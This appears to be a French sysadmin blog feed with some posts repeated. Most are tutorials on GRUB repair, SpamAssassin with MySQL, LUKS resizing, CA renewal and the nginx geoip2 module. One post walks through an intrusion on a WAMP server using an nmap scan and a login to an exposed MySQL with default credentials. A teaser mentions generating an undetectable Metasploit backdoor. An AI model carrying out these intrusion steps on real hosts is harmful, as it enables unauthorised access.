ReLoad
Voir les Non lu | Plus vieux en premierthis_is_fine_green.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 31/03/2025 à 21:25:00 - Favoriser (lu/non lu)

blog:start - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 31/03/2025 à 21:15:00 Défavoriser (lu/non lu)
WAMP Attaxx
Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .
Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.
Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.
Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…
“Let's Go” pour une exploration en détails…
NGINX: Module « geoip2 » pour Debian
UPDATE : Mise à jour pour Debian Buster
Republication d'article : source
Le module geoip
pour nginx
a besoin de base de données à jour pour être pertinent.
Ces bases peuvent être téléchargé gratuitement, mais leur format a changé récemment, les rendant incompatible avec le module geoip
historique.
C’est là qu’arrive le module geoip2
qui peut lire ce nouveau format, mais hélas, le module pour nginx
est actuellement introuvable pour Debian.
Les sources du module geoip2
sont par là:
… mais pour qu’il puisse être dynamiquement importé par la version nginx
de Debian
, il faut recompiler entièrement le package nginx
.
Comme vous allez le voir, au final, on ne récupérera que le module ngx_http_geoip2_module.so
qui nous intéresse.
Et pour les plus pressé, le module prêt à l’emploi:
- Debian Buster x64 / nginx-1.14.2-2 : debian_buster_x64_ngx_http_geoip2_module.so.zip
- Debian Stretch x64 / nginx-1.10.3-1+deb9u2 : debian_stretch_x64_ngx_http_geoip2_module.so.zip
ATTENTION: ce module dépend de la librairie libmaxminddb
qui se trouve dans le package Debian
nommé libmaxminddb0
.
… et voici une méthode pour générer ce module.
« AppArmor » et « Bind/named »
Republication d'article : source
Dans les logs, tout plein de:
[mer. jan 10 22:49:11 2019] audit: type=1400 audit(1548884940.162:98): apparmor="DENIED" operation="mknod" profile="/usr/sbin/named" name="/etc/bind/SLAVE/tmp-8tAieH8oKP" pid=716 comm="isc-worker0000" requested_mask="c" denied_mask="c" fsuid=113 ouid=113
Metasploit: Générer une « backdoor » indétectable en C … 64 bit
Republication d'article : source
Ceci est un complément au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » .
J’y expliquais comment créer une « backdoor » « 32 bit », mais pas « 64 bit » .
Mes tests de « backdoor » « 64 bit » plantaient systématiquement, avec un message d’erreur abscons … J’étais pourtant sur la bonne piste et j’ai trouvé la solution quelques heures après la publication de mon « blog post » sur la version « 32 bit » …
<html>
</html>Historique du blog<html>
</html> <html><table style=“border:0px ; empty-cells:hide” border=0 width=“100%”> <tr><td style=“border:0px; text-align: right”> <a href=“https://twitter.com/thierry_jaouen” class=“twitter-follow-button” data-show-count=“false” data-lang=“fr” data-size=“large”>Suivre @thierry_jaouen</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=“platform.twitter.com/widgets.js”;fjs.parentNode.insertBefore(js,fjs);}}(document,“script”,“twitter-wjs”);</script> </td> <td style=“border:0px; text-align: right”> <a title=“RSS Feed” href=“/feed.php”><img border=“0” src=“/pub/img/icon-feed-25.png”></a> </td></tr> </table></html>
WAMP Attaxx
Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .
Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.
Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.
Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…
“Let's Go” pour une exploration en détails…
NGINX: Module « geoip2 » pour Debian
UPDATE : Mise à jour pour Debian Buster
Republication d'article : source
Le module geoip
pour nginx
a besoin de base de données à jour pour être pertinent.
Ces bases peuvent être téléchargé gratuitement, mais leur format a changé récemment, les rendant incompatible avec le module geoip
historique.
C’est là qu’arrive le module geoip2
qui peut lire ce nouveau format, mais hélas, le module pour nginx
est actuellement introuvable pour Debian.
Les sources du module geoip2
sont par là:
… mais pour qu’il puisse être dynamiquement importé par la version nginx
de Debian
, il faut recompiler entièrement le package nginx
.
Comme vous allez le voir, au final, on ne récupérera que le module ngx_http_geoip2_module.so
qui nous intéresse.
Et pour les plus pressé, le module prêt à l’emploi:
- Debian Buster x64 / nginx-1.14.2-2 : debian_buster_x64_ngx_http_geoip2_module.so.zip
- Debian Stretch x64 / nginx-1.10.3-1+deb9u2 : debian_stretch_x64_ngx_http_geoip2_module.so.zip
ATTENTION: ce module dépend de la librairie libmaxminddb
qui se trouve dans le package Debian
nommé libmaxminddb0
.
… et voici une méthode pour générer ce module.
« AppArmor » et « Bind/named »
Republication d'article : source
Dans les logs, tout plein de:
[mer. jan 10 22:49:11 2019] audit: type=1400 audit(1548884940.162:98): apparmor="DENIED" operation="mknod" profile="/usr/sbin/named" name="/etc/bind/SLAVE/tmp-8tAieH8oKP" pid=716 comm="isc-worker0000" requested_mask="c" denied_mask="c" fsuid=113 ouid=113
Metasploit: Générer une « backdoor » indétectable en C … 64 bit
Republication d'article : source
Ceci est un complément au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » .
J’y expliquais comment créer une « backdoor » « 32 bit », mais pas « 64 bit » .
Mes tests de « backdoor » « 64 bit » plantaient systématiquement, avec un message d’erreur abscons … J’étais pourtant sur la bonne piste et j’ai trouvé la solution quelques heures après la publication de mon « blog post » sur la version « 32 bit » …
<html>
</html>Historique du blog<html>
</html> <html><table style=“border:0px ; empty-cells:hide” border=0 width=“100%”> <tr><td style=“border:0px; text-align: right”> <a href=“https://twitter.com/thierry_jaouen” class=“twitter-follow-button” data-show-count=“false” data-lang=“fr” data-size=“large”>Suivre @thierry_jaouen</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=“platform.twitter.com/widgets.js”;fjs.parentNode.insertBefore(js,fjs);}}(document,“script”,“twitter-wjs”);</script> </td> <td style=“border:0px; text-align: right”> <a title=“RSS Feed” href=“/feed.php”><img border=“0” src=“/pub/img/icon-feed-25.png”></a> </td></tr> </table></html>
playground:playground - supprimée
ReLoad par thierry (thierry@undisclosed.example.com) le 31/03/2025 à 21:12:00 - Favoriser (lu/non lu)
PlayGround
blog:2014:05:14:grub_reinstaller_la_mbr - [chroot]
ReLoad par thierry (thierry@undisclosed.example.com) le 19/05/2022 à 20:41:00 - Favoriser (lu/non lu)
Grub: réinstaller la MBR
Je pars du principe qu'il n'y a *que* la MBR qui est absente.
Le reste, le “boot” , le “system” , est fonctionnel.
Mais impossible de booter… Comment réinstaller la MBR ?
Je vais faire ça avec “Debian Wheezy”, mais ça marchera avec d'autres Debian et autres Ubuntu…
~~READMORE~~
live cd/usb rescue
On va d'abord récuperer une image “ISO” d'un live cd le plus proche possible du système existant. (même distribution, même architecture…)
J'ai trouvé mon bonheur là dedans:
Ce qui m’intéresse surtout, c'est la version “rescue” et “non-free”, avec la plupart des pilotes pré-installé qui vont bien reconnaitre tout le matériel.
Donc:
$ wget http://live.debian.net/cdimage/release/stable+nonfree/amd64/iso-hybrid/debian-live-7.5-amd64-rescue+nonfree.iso
Maintenant, soit on grave l'image sur un CD, soit on copie tout sur une clé USB.
Par exemple, pour une clé USB en “/dev/sde
” :
$ dd if=./debian-live-7.5-amd64-rescue+nonfree.iso of=/dev/sde bs=1M $ sync
On peut retirer la clé.
booter et réparer
root
On va sur le bécane sans MBR, on branche la clé ou le CD…
On boot… on laisse démarrer le système de “secours” .
Enfin, on devient “root
” :
$ sudo -s #
On vérifie l'environnement… les disks sont bien là…
chroot
On suppose que le disk a réparer est en /dev/sda
, et que:
- /dev/sda1 est la partition de “/boot”
- /dev/sda2 est le systeme racine “/”
On va entrer sur le système a récuperer:
# mkdir /mnt/sys # mount /dev/sda2 /mnt/sys
Si le “boot” est sur une autre partition (comme moi):
# mount /dev/sda1 /mnt/sys/boot
# mount -t proc none /mnt/sys/proc # mount -o bind /dev /mnt/sys/dev # mount -o bind /sys /mnt/sys/sys
UPDATE (pour “jessie
” par exemple):
# mount -o bind /var/run /mnt/sys/var/run # mount -o bind /var/run /mnt/sys/run
UPDATE 2022:
# mkdir /mnt/sys/tmp # mount -o bind /tmp /mnt/sys/tmp
On chroot:
# chroot /mnt/sys /bin/bash #
Voila, on est dans le système a récuperer…
grub-install
Et enfin:
# update-grub # grub-install /dev/sda
Voila. On a restauré la MBR.
On quitte le chroot.
# exit
On peut rebooter.
# reboot
Voila.
Il y a surement plus simple, mais cette méthode m'a permit de récupérer des systèmes avec des configurations un poil plus complexe: plusieurs cartes RAID, système sur partition LVM …
blog:2013:08:13:spamassassin_bayes_avec_mysql - [MySQL]
ReLoad par thierry (thierry@undisclosed.example.com) le 28/12/2021 à 23:02:00 - Favoriser (lu/non lu)
SpamAssassin Bayes avec MySQL
Factoriser l'efficacité des frontaux de mails pour lutter contre le SPAM, en mutualisant les bases Bayes.
On va le faire grâce a MySQL .
~~READMORE~~
Bayes
MySQL
Préparer un serveur MySQL…
Dixit la doc: préférer le moteur “MyISAM”.
Les schemas de la base de données sont dans:
- /usr/share/doc/spamassassin/sql/userpref_mysql.sql
- /usr/share/doc/spamassassin/sql/bayes_mysql.sql
En tant que “root”, on va créer les “databases” et puis les “users” :
$ mysql -u root -p
Créer la database “sa_bayes
” :
mysql> create database sa_bayes;
On revient sous le shell, et on créé les tables associés a la base:
$ mysql -u root -p sa_bayes < userpref_mysql.sql $ mysql -u root -p sa_bayes < bayes_mysql.sql
![]() TYPE=MyISAM ” |
Pour rectifier, j'ai fait plutôt:
$ sed -e 's/TYPE=MyISAM/ENGINE=MyISAM/' userpref_mysql.sql | mysql -u root -p sa_bayes $ sed -e 's/TYPE=MyISAM/ENGINE=MyISAM/' bayes_mysql.sql | mysql -u root -p sa_bayes
![]() ENGINE=InnoDB |
![]() bayes_token.token doit être de type “binary(5) ” et pas “char(5) ” |
On retourne dans MySQL
pour créer les “users” :
$ mysql -u root -p
Comme j'ai 2 frontaux, je créé un compte pour chaque:
mysql> CREATE USER 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY 'SECRET_1'; mysql> CREATE USER 'sa_user'@'mx1.local.eez.fr' IDENTIFIED BY 'SECRET_2';
Maintenant, definir les droits (limités) de ces utilisateurs.
“mx0” d'abord :
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_token TO 'sa_user'@'mx0.local.eez.fr'; mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_vars TO 'sa_user'@'mx0.local.eez.fr'; mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_seen TO 'sa_user'@'mx0.local.eez.fr'; mysql> GRANT SELECT, DELETE, INSERT ON sa_bayes.bayes_expire TO 'sa_user'@'mx0.local.eez.fr'; mysql> GRANT SELECT ON sa_bayes.bayes_global_vars TO 'sa_user'@'mx0.local.eez.fr';
Faire de même pour “mx1” …
![]() userpref ? |
Migration
On ne pourra pas migrer toutes les bases des frontaux: il faudra en choisir une parmi les frontaux.
Ceci fait, on devient l'utilisateur qui gère le spam. Chez moi, c'est “debian-spamd” :
# su -s /bin/bash debian-spamd $
$ cd ~ $ mkdir tmp $ cd tmp $ sa-learn --sync $ sa-learn --backup > backup.txt
Et pour info:
$ sa-learn --dump magic > magic-info.txt
Maintenant, on peut modifier le fichier local.cf
: voir section suivante !
Aprés cela, on importe le “backup” dans MySQL comme ça:
$ sa-learn --restore backup.txt
Un petit coup de sa-learn –dump magic
, et on retrouvera des informations proche de qu'on a dans le fichier “magic-info.txt
”.
Configuration
Pré-requis:
# aptitude install libdbi-perl libdbd-mysql-perl
Sinon: “bayes: unable to connect to database: DBI module not available
”
Dans /etc/spamassassin/local.cf
:
bayes_store_module Mail::SpamAssassin::BayesStore::MySQL #bayes_sql_dsn DBI:driver:database:hostname[:port] bayes_sql_dsn DBI:mysql:database=sa_bayes;host=<DBHOST>; bayes_sql_username <DBUSER> bayes_sql_password <DBPASS> bayes_sql_override_username debian-spamd
Si existe, commenter ses lignes comme ça:
# bayes_path xxxxxxxxx # bayes_file_mode xxxx
Tester
Déjà, si vous avez procédé à une restauration du backup avec “sa-learn restore …
” (revoir plus haut) , c'est que ça marche .
Ensuite, on peut vérifier que la base est toujours UP en tapant:
$ sa-learn --dump magic
Et enfin, si par malheur la base est indisponible, et bien spamassassin
le signale dans les entête de mails par un pathétique autolearn=unavailable
et poursuit la livraison du mail: OUF
SSL
Comme vous avez suivit mon tuto (humhum) pour installer MySQL avec SSL .
Retour dans MySQL
…
$ mysql -u root -p
Récuperer le hash du “password”, car je suis certain que vous l'avez oublié ! Noooon je déconne.
mysql> show grants for sa_user@mx0.local.eez.fr; .... IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>'
Alors, soit on rajoute que le “SSL”, ce qui est minable:
mysql> GRANT USAGE ON *.* TO 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>' \ REQUIRE SSL;
Soit, on fait la totale, avec “Sujet” et “Complément” (ou l'inverse?) :
mysql> GRANT USAGE ON *.* TO 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>' \ REQUIRE SUBJECT '/C=FR/ST=Some-State/L=Paris/O=xxx/OU=xxx/CN=xxx/emailAddress=xxx' \ AND ISSUER '/C=FR/ST=Some-State/L=Paris/O=xxx/OU=xxx/CN=xxx/emailAddress=xxx';
Dans tout les cas, il faut apporter des modifications à l'option “bayes_sql_dsn
” dans /etc/spamassassin/local.cf
. Pour exemple:
bayes_sql_dsn DBI:mysql:database=sa_bayes;host=mail.local.eez.fr;mysql_ssl=1;mysql_ssl_ca_file=/var/lib/spamassassin/mysql_certs/mysql-ca-cert.pem;mysql_ssl_client_cert=/var/lib/spamassassin/mysql_certs/mysql-client_mx0-cert.pem;mysql_ssl_client_key=/var/lib/spamassassin/mysql_certs/mysql-client_mx0-key.pem;
C'est illisible…
Sources
blog:2015:01:07:agrandir_une_partition_chiffree
ReLoad par thierry (thierry@undisclosed.example.com) le 17/03/2021 à 17:15:00 - Favoriser (lu/non lu)
Changer taille d'une partition chiffrée
Agrandir
La couche LVM:
# lvresize -L +50G /dev/vg0/partition
La couche chiffrée:
# cryptsetup luksOpen /dev/vg0/partition mondisk # cryptsetup resize mondisk
La couche “File System”:
# resize2fs -p /dev/mapper/mondisk
Voila
Réduire
Démonter le filesystem
# umount <partition>
Vérifier le device :
# e2fsck -f /dev/mapper/mondisk
Reduire.
# resize2fs -p /dev/mapper/mondisk <LA_TAILLE_VOULUE> ...
Exemple:
blog:2015:01:10:openssl_renouveler_le_ca - [Nouveau certificat]
ReLoad par thierry (thierry@undisclosed.example.com) le 08/06/2019 à 21:25:00 - Favoriser (lu/non lu)
Openssl: Renouveler le CA
Expiration
Dans les logs d'un client OpenVPN:
... TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Sur le serveur:
# openssl verify -CAfile ca.crt server.crt error 10 at 1 depth lookup:certificate has expired OK
# openssl x509 -startdate -enddate -noout -in ca.crt notBefore=Dec 10 23:23:50 2004 GMT notAfter=Jan 9 23:23:50 2015 GMT
Ok: j'ai le CA (Certificate Authority) qui a expiré… la loose.
Nouveau certificat
Solution 1
UPDATE: 08/06/2019
Pour un certificat “easyrsa/openvpn
” :
Il suffit de re-signer un nouveau certificat:
# openssl x509 -in ca.crt -days 3650 -out ca_new.crt -signkey ca.key
Et voila:
# openssl verify -CAfile ca-new.crt server.crt server.crt: OK
Solution 2
On va créer un nouveau certificat, mais sans changer la clé privé/public.
# openssl req -new -key ca.key -out ca-new.csr # openssl x509 -req -days 3650 -in ca-new.csr -signkey ca.key -out ca-new.crt
Et c'est bon ?
# openssl verify -CAfile ca-new.crt server.crt server.crt: OK
Il me reste plus qu'a diffuser le nouveau fichier “ca-new.crt
” au serveur et aux clients.
Source: http://serverfault.com/questions/306345/certification-authority-root-certificate-expiry-and-renewal
blog:2015:01:10:openssl_renouveler_le_ca - [Nouveau certificat]
ReLoad par thierry (thierry@undisclosed.example.com) le 08/06/2019 à 21:25:00 - Favoriser (lu/non lu)
Openssl: Renouveler le CA
Expiration
Dans les logs d'un client OpenVPN:
... TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Sur le serveur:
# openssl verify -CAfile ca.crt server.crt error 10 at 1 depth lookup:certificate has expired OK
# openssl x509 -startdate -enddate -noout -in ca.crt notBefore=Dec 10 23:23:50 2004 GMT notAfter=Jan 9 23:23:50 2015 GMT
Ok: j'ai le CA (Certificate Authority) qui a expiré… la loose.
Nouveau certificat
Solution 1
UPDATE: 08/06/2019
Pour un certificat “easyrsa/openvpn
” :
Il suffit de re-signer un nouveau certificat:
# openssl x509 -in ca.crt -days 3650 -out ca_new.crt -signkey ca.key
Et voila:
# openssl verify -CAfile ca-new.crt server.crt server.crt: OK
Solution 2
On va créer un nouveau certificat, mais sans changer la clé privé/public.
# openssl req -new -key ca.key -out ca-new.csr # openssl x509 -req -days 3650 -in ca-new.csr -signkey ca.key -out ca-new.crt
Et c'est bon ?
# openssl verify -CAfile ca-new.crt server.crt server.crt: OK
Il me reste plus qu'a diffuser le nouveau fichier “ca-new.crt
” au serveur et aux clients.
Source: http://serverfault.com/questions/306345/certification-authority-root-certificate-expiry-and-renewal
blog:2019:05:25:nginx_module_geoip2_pour_debian - [NGINX: Module « geoip2 » pour Debian]
ReLoad par thierry (thierry@undisclosed.example.com) le 31/05/2019 à 18:43:00 - Favoriser (lu/non lu)
NGINX: Module « geoip2 » pour Debian
Republication d'article : source
Le module geoip
pour nginx
a besoin de base de données à jour pour être pertinent.
Ces bases peuvent être téléchargé gratuitement, mais leur format a changé récemment, les rendant incompatible avec le module geoip
historique.
C’est là qu’arrive le module geoip2
qui peut lire ce nouveau format, mais hélas, le module pour nginx
est actuellement introuvable pour Debian.
Les sources du module geoip2
sont par là:
… mais pour qu’il puisse être dynamiquement importé par la version nginx
de Debian
, il faut recompiler entièrement le package nginx
.
Comme vous allez le voir, au final, on ne récupérera que le module ngx_http_geoip2_module.so
qui nous intéresse.
Et pour les plus pressé, le module prêt à l’emploi:
- Debian Stretch x64 / nginx-1.10.3-1+deb9u2 : ngx_http_geoip2_module.so.zip
ATTENTION: ce module dépend de la librairie libmaxminddb
qui se trouve dans le package Debian
nommé libmaxminddb0
.
… et voici une méthode pour générer ce module.
Préparer la recompilation de « nginx »
Sources:
Ce mettre dans un dossier qui va bien pour compiler, par exemple /usr/local/src/ dans lequel on créé un dossier nginx. On y importe les sources:
$ apt-get source nginx/stable
(Dans mon cas, un dossier nommé nginx-1.10.3 est apparu…) On charge les dépendances nécessaires:
$ su - # apt-get build-dep nginx/stable
Préparer les sources du module « geoip2 »
A ce stade, on est prêt a recompiler nginx
, mais nous devons d’abord faire quelques modifications pour inclure notre module geoip2
.
Choisir un dossier, par exemple /usr/local/src/geoip2
dans lequel on exécute la commande git
suivante:
# git clone https://github.com/leev/ngx_http_geoip2_module.git
… et un dossier ngx_http_geoip2_module
apparaît.
On installe aussi une librairie dont dépend le module:
# apt-get install libmaxminddb-dev
Recompiler avec les sources de « geoip2 »
Retour dans le dossier où sont les sources de nginx (pour moi dans /usr/local/src/nginx/nginx-1.10.3/
) .
On doit éditer le fichier debian/rules
afin d’inclure la compilation du module geoip2
.
Pour cela, j’ai ajouter une ligne --add-dynamic-module=<chemin_source_module>
à la toute fin de la déclaration de extras_configure_flags
, soit (exemple):
... <snip> ... extras_configure_flags := \ $(common_configure_flags) \ --with-http_addition_module \ ... <snip> ... --add-dynamic-module=$(MODULESDIR)/nginx-upstream-fair \ --add-dynamic-module=$(MODULESDIR)/ngx_http_substitutions_filter_module \ --add-dynamic-module=/usr/local/src/geoip2/ngx_http_geoip2_module ... <snip> ...
… et c’est tout pour les modifications 🙂 .
(Notez le \
à la toute fin de la ligne précédente. )
Et maintenant, on se repositionne à la base des sources (dans nginx-1.10.3
) et on compile:
$ debuild -i -us -uc -b
A la fin, on se retrouve avec des tas fichiers « .deb » du résultat de la compilation.
Mais ce qui nous importe ici, c’est le module geoip2
compilé « à la Debian » , qu’on trouve là:
debian/build-extras/objs/ngx_http_geoip2_module.so
Avant de le distribuer et de l’utiliser, on sera avisé de retirer les informations de debug
sans intérêt ici:
$ strip ngx_http_geoip2_module.so
Voila, notre module est maintenant prêt a être utiliser par nginx
.
Configuration de « geoip2 »
On va maintenant utiliser ce nouveau module sur un serveur avec un service nginx
déjà opérationnel.
Nous l’avons vu à la compilation, ce module dépend de la librairie libmaxminddb
, donc il faut d’abord l’installer:
# apt-get install libmaxminddb0
On télécharge la base GeoLite2-Country.mmdb
, qui suffira pour notre exemple, et on la place dans (exemple):
/var/local/geoip2/
Pour notre module, par exemple toujours, on le dépose dans un dossier /etc/nginx/modules-extras
qu’on aura préalablement créé.
Notre exemple sera simple, puisqu’il va montrer comment interdire l’accès a un site depuis certains pays.
Dans nginx.conf
(extrait) :
load_module /etc/nginx/modules-extras/ngx_http_geoip2_module.so; http { ... <snip> ... geoip2 /var/local/geoip2/GeoLite2-Country.mmdb { $geoip2_data_country_code default=US source=$remote_addr country iso_code; } ... <snip> ... }
et puis un exemple de configuration pour un site quelconque:
map $geoip2_data_country_code $denied_country { default 0; RU OK; CN OK; US OK; } server { ... <snip> ... if ( $denied_country = OK ) { return 403; } ... <snip> ... }
Vérifions la configuration :
# nginx -t # systemctl reload nginx
Voila.
blog:2019:05:25:nginx_module_geoip2_pour_debian - [NGINX: Module « geoip2 » pour Debian]
ReLoad par thierry (thierry@undisclosed.example.com) le 31/05/2019 à 18:43:00 - Favoriser (lu/non lu)
NGINX: Module « geoip2 » pour Debian
Republication d'article : source
Le module geoip
pour nginx
a besoin de base de données à jour pour être pertinent.
Ces bases peuvent être téléchargé gratuitement, mais leur format a changé récemment, les rendant incompatible avec le module geoip
historique.
C’est là qu’arrive le module geoip2
qui peut lire ce nouveau format, mais hélas, le module pour nginx
est actuellement introuvable pour Debian.
Les sources du module geoip2
sont par là:
… mais pour qu’il puisse être dynamiquement importé par la version nginx
de Debian
, il faut recompiler entièrement le package nginx
.
Comme vous allez le voir, au final, on ne récupérera que le module ngx_http_geoip2_module.so
qui nous intéresse.
Et pour les plus pressé, le module prêt à l’emploi:
- Debian Stretch x64 / nginx-1.10.3-1+deb9u2 : ngx_http_geoip2_module.so.zip
ATTENTION: ce module dépend de la librairie libmaxminddb
qui se trouve dans le package Debian
nommé libmaxminddb0
.
… et voici une méthode pour générer ce module.
Préparer la recompilation de « nginx »
Sources:
Ce mettre dans un dossier qui va bien pour compiler, par exemple /usr/local/src/ dans lequel on créé un dossier nginx. On y importe les sources:
$ apt-get source nginx/stable
(Dans mon cas, un dossier nommé nginx-1.10.3 est apparu…) On charge les dépendances nécessaires:
$ su - # apt-get build-dep nginx/stable
Préparer les sources du module « geoip2 »
A ce stade, on est prêt a recompiler nginx
, mais nous devons d’abord faire quelques modifications pour inclure notre module geoip2
.
Choisir un dossier, par exemple /usr/local/src/geoip2
dans lequel on exécute la commande git
suivante:
# git clone https://github.com/leev/ngx_http_geoip2_module.git
… et un dossier ngx_http_geoip2_module
apparaît.
On installe aussi une librairie dont dépend le module:
# apt-get install libmaxminddb-dev
Recompiler avec les sources de « geoip2 »
Retour dans le dossier où sont les sources de nginx (pour moi dans /usr/local/src/nginx/nginx-1.10.3/
) .
On doit éditer le fichier debian/rules
afin d’inclure la compilation du module geoip2
.
Pour cela, j’ai ajouter une ligne --add-dynamic-module=<chemin_source_module>
à la toute fin de la déclaration de extras_configure_flags
, soit (exemple):
... <snip> ... extras_configure_flags := \ $(common_configure_flags) \ --with-http_addition_module \ ... <snip> ... --add-dynamic-module=$(MODULESDIR)/nginx-upstream-fair \ --add-dynamic-module=$(MODULESDIR)/ngx_http_substitutions_filter_module \ --add-dynamic-module=/usr/local/src/geoip2/ngx_http_geoip2_module ... <snip> ...
… et c’est tout pour les modifications 🙂 .
(Notez le \
à la toute fin de la ligne précédente. )
Et maintenant, on se repositionne à la base des sources (dans nginx-1.10.3
) et on compile:
$ debuild -i -us -uc -b
A la fin, on se retrouve avec des tas fichiers « .deb » du résultat de la compilation.
Mais ce qui nous importe ici, c’est le module geoip2
compilé « à la Debian » , qu’on trouve là:
debian/build-extras/objs/ngx_http_geoip2_module.so
Avant de le distribuer et de l’utiliser, on sera avisé de retirer les informations de debug
sans intérêt ici:
$ strip ngx_http_geoip2_module.so
Voila, notre module est maintenant prêt a être utiliser par nginx
.
Configuration de « geoip2 »
On va maintenant utiliser ce nouveau module sur un serveur avec un service nginx
déjà opérationnel.
Nous l’avons vu à la compilation, ce module dépend de la librairie libmaxminddb
, donc il faut d’abord l’installer:
# apt-get install libmaxminddb0
On télécharge la base GeoLite2-Country.mmdb
, qui suffira pour notre exemple, et on la place dans (exemple):
/var/local/geoip2/
Pour notre module, par exemple toujours, on le dépose dans un dossier /etc/nginx/modules-extras
qu’on aura préalablement créé.
Notre exemple sera simple, puisqu’il va montrer comment interdire l’accès a un site depuis certains pays.
Dans nginx.conf
(extrait) :
load_module /etc/nginx/modules-extras/ngx_http_geoip2_module.so; http { ... <snip> ... geoip2 /var/local/geoip2/GeoLite2-Country.mmdb { $geoip2_data_country_code default=US source=$remote_addr country iso_code; } ... <snip> ... }
et puis un exemple de configuration pour un site quelconque:
map $geoip2_data_country_code $denied_country { default 0; RU OK; CN OK; US OK; } server { ... <snip> ... if ( $denied_country = OK ) { return 403; } ... <snip> ... }
Vérifions la configuration :
# nginx -t # systemctl reload nginx
Voila.
blog:2019:05:28:wamp_attaxx - [WAMP Attaxx]
ReLoad par thierry (thierry@undisclosed.example.com) le 29/05/2019 à 11:00:00 - Favoriser (lu/non lu)
WAMP Attaxx
Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .
Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.
Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.
Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…
“Let's Go” pour une exploration en détails…
Contexte
Après avoir siroté quelques cafés, je voyage dans les Internets tel Ziltoid dans l'espace-temps…
Ayant atterri dans un réseau local, je m’intéresse à un serveur web centralisant et hébergeant plusieurs services collaboratif.
Une première analyse me montre un serveur “WAMP”…
Pour la suite, je nommerai ce serveur “corporate.wtf.com” et son adresse IP sera “172.30.10.15” .
Examens en surface
Sondage "nmap"
J'utilise « nmap » pour sonder les ports ouverts sur ce serveur :
$ nmap -v -A 172.30.10.15 ... PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Win64) mod_fcgid/2.3.9) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.37 (Win64) mod_fcgid/2.3.9 |_http-title: Did not follow redirect to https://corporate.wtf.com/ ... 3306/tcp open mysql MySQL 5.6.27-log | mysql-info: | Protocol: 10 | Version: 5.6.27-log | Thread ID: 322939 | Capabilities flags: 63487 | Some Capabilities: InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, FoundRows, SupportsTransactions, IgnoreSigpipes, LongColumnFlag, SupportsCompression, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: s&`2v|0svvoJ`(E_3z3+ |_ Auth Plugin Name: 83 ...
Je relève qu'il s'agirait d'un serveur “Windows 64 bit”, et 2 services m'intéressent ici:
- “http” port 80
- “mysql” port 3306
Les défaillances misent en évidence ici:
- Usage de “http” (port 80) au lieu de “https” (port 443)
- Service “MySQL” ouvert (même sur un réseau interne)
« MySQL » et « Booked »
Sur le site « http://corporate.wtf.com
» , je constate la présence d'un service de “gestion de planning” qui renvoi sur une autre URL du même serveur, là :
http://booked.wtf.com/Web/index.php
Sur la page d'index de ce service , on peut lire sa version :
© 2016 Twinkle Toes Software Booked Scheduler v2.5.20
A partir de cette information, et dans l'idée d'examiner son fonctionnement, je récupère les sources du service :
$ git clone https://git.code.sf.net/p/phpscheduleit/2.5 phpscheduleit-2.5
Dans la configuration par défaut « phpscheduleit-2.5/config/config.dist.php » , on trouve les informations suivantes (extrait) :
/** * Database configuration */ $conf['settings']['database']['type'] = 'mysql'; $conf['settings']['database']['user'] = 'booked_user'; // database user with permission to the booked database $conf['settings']['database']['password'] = 'password'; $conf['settings']['database']['hostspec'] = '127.0.0.1'; // ip, dns or named pipe $conf['settings']['database']['name'] = 'bookedscheduler';
Je teste le « user » et « password » par défaut sur le serveur cible :
$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "show databases" +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | phpscheduleit | +--------------------+
BINGO : L’identifiant par défaut fonctionne !
Les défaillances ici:
- On ne laisse jamais les identifiants par défaut.
- Rappel: confirmation qu'il ne faut pas exposer le service “MySQL”.
Voici la liste des comptes présent sur le service “MySQL” :
